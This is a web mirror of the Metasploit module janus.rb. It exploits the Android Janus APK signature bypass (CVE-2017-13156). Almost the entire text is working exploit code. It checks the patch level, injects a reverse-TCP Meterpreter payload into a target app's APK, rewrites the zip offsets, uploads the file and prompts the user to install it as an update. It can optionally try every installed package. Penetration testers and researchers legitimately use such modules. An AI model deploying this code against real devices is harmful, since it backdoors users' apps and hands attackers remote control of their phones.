Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/android/local/janus.rb
19812 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ManualRanking
8
9
include Msf::Exploit::FileDropper
10
include Msf::Post::File
11
include Msf::Post::Android::Priv
12
include Msf::Payload::Android
13
prepend Msf::Exploit::Remote::AutoCheck
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
{
20
'Name' => 'Android Janus APK Signature bypass',
21
'Description' => %q{
22
This module exploits CVE-2017-13156 in Android to install a payload into another
23
application. The payload APK will have the same signature and can be installed
24
as an update, preserving the existing data.
25
The vulnerability was fixed in the 5th December 2017 security patch, and was
26
additionally fixed by the APK Signature scheme v2, so only APKs signed with
27
the v1 scheme are vulnerable.
28
Payload handler is disabled, and a multi/handler must be started first.
29
},
30
'Author' => [
31
'GuardSquare', # discovery
32
'V-E-O', # proof of concept
33
'timwr', # metasploit module
34
'h00die', # metasploit module
35
],
36
'References' => [
37
['CVE', '2017-13156'],
38
['URL', 'https://www.guardsquare.com/en/blog/new-android-vulnerability-allows-attackers-modify-apps-without-affecting-their-signatures'],
39
['URL', 'https://github.com/V-E-O/PoC/tree/master/CVE-2017-13156'],
40
],
41
'DisclosureDate' => '2017-07-31',
42
'SessionTypes' => [ 'meterpreter' ],
43
'Platform' => [ 'android' ],
44
'Arch' => [ ARCH_DALVIK ],
45
'Targets' => [ [ 'Automatic', {} ] ],
46
'DefaultOptions' => {
47
'PAYLOAD' => 'android/meterpreter/reverse_tcp',
48
'AndroidWakelock' => false, # the target may not have the WAKE_LOCK permission
49
'DisablePayloadHandler' => true
50
},
51
'DefaultTarget' => 0,
52
'Notes' => {
53
'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS],
54
'Reliability' => [],
55
'Stability' => [SERVICE_RESOURCE_LOSS] # ZTE youtube app won't start anymore
56
},
57
'Compat' => {
58
'Meterpreter' => {
59
'Commands' => %w[
60
appapi_app_install
61
]
62
}
63
}
64
}
65
)
66
)
67
register_options([
68
OptString.new('PACKAGE', [true, 'The package to target, or ALL to attempt all', 'com.phonegap.camerasample']),
69
])
70
end
71
72
def check
73
os = cmd_exec('getprop ro.build.version.release')
74
75
unless Rex::Version.new(os).between?(Rex::Version.new('5.1.1'), Rex::Version.new('8.0.0'))
76
return CheckCode::Safe("Android version #{os} is not vulnerable.")
77
end
78
79
vprint_good("Android version #{os} appears to be vulnerable.")
80
81
patch = cmd_exec('getprop ro.build.version.security_patch')
82
83
if patch.empty?
84
return CheckCode::Appears('Unable to determine patch level. Pre-5.0 this is unaccessible.')
85
end
86
87
if patch > '2017-12-05'
88
return CheckCode::Safe("Android security patch level #{patch} is patched.")
89
end
90
91
CheckCode::Appears("Android security patch level #{patch} is vulnerable.")
92
end
93
94
def infect(apkfile)
95
unless apkfile.start_with?('package:')
96
fail_with(Failure::BadConfig, 'Unable to locate app apk')
97
end
98
99
apkfile = apkfile[8..]
100
print_status("Downloading APK: #{apkfile}")
101
apk_data = read_file(apkfile)
102
103
# Create an apk with the payload injected
104
apk_backdoor = ::Msf::Payload::Apk.new
105
apk_zip = apk_backdoor.backdoor_apk(nil, payload.encoded, false, false, apk_data, false)
106
107
# Extract the classes.dex
108
dex_data = ''
109
Zip::File.open_buffer(apk_zip) do |zipfile|
110
dex_data = zipfile.read('classes.dex')
111
end
112
dex_size = dex_data.length
113
114
# Fix the original APKs zip file code directory
115
cd_end_addr = apk_data.rindex("\x50\x4b\x05\x06")
116
cd_start_addr = apk_data[cd_end_addr + 16, cd_end_addr + 20].unpack('V')[0]
117
apk_data[cd_end_addr + 16...cd_end_addr + 20] = [ cd_start_addr + dex_size ].pack('V')
118
pos = cd_start_addr
119
while pos && pos < cd_end_addr
120
offset = apk_data[pos + 42, pos + 46].unpack('V')[0]
121
apk_data[pos + 42...pos + 46] = [ offset + dex_size ].pack('V')
122
pos = apk_data.index("\x50\x4b\x01\x02", pos + 46)
123
end
124
125
# Prepend the new classes.dex to the apk
126
out_data = dex_data + apk_data
127
out_data[32...36] = [ out_data.length ].pack('V')
128
out_data = fix_dex_header(out_data)
129
130
out_apk = "/sdcard/#{Rex::Text.rand_text_alphanumeric(6)}.apk"
131
print_status("Uploading APK: #{out_apk}")
132
write_file(out_apk, out_data)
133
register_file_for_cleanup(out_apk)
134
print_status('APK uploaded')
135
136
# Prompt the user to update the APK
137
session.appapi.app_install(out_apk)
138
print_status('User should now have a prompt to install an updated version of the app')
139
true
140
rescue StandardError => e
141
print_error e.to_s
142
false
143
end
144
145
def exploit
146
if datastore['PACKAGE'] == 'ALL'
147
vprint_status('Finding installed packages (this can take a few minutes depending on list of installed packages)')
148
all = cmd_exec('pm list packages').split("\n")
149
c = 1
150
151
ignore = [
152
'com.metasploit.stage', # avoid injecting into ourself
153
]
154
155
all.each do |package|
156
package = package.split(':')[1]
157
vprint_status("Attempting exploit of apk #{c}/#{all.length} for #{package}")
158
c += 1
159
next if ignore.include?(package)
160
161
break if infect(cmd_exec("pm path #{package}"))
162
end
163
else
164
infect(cmd_exec("pm path #{datastore['PACKAGE']}"))
165
end
166
end
167
end
168
169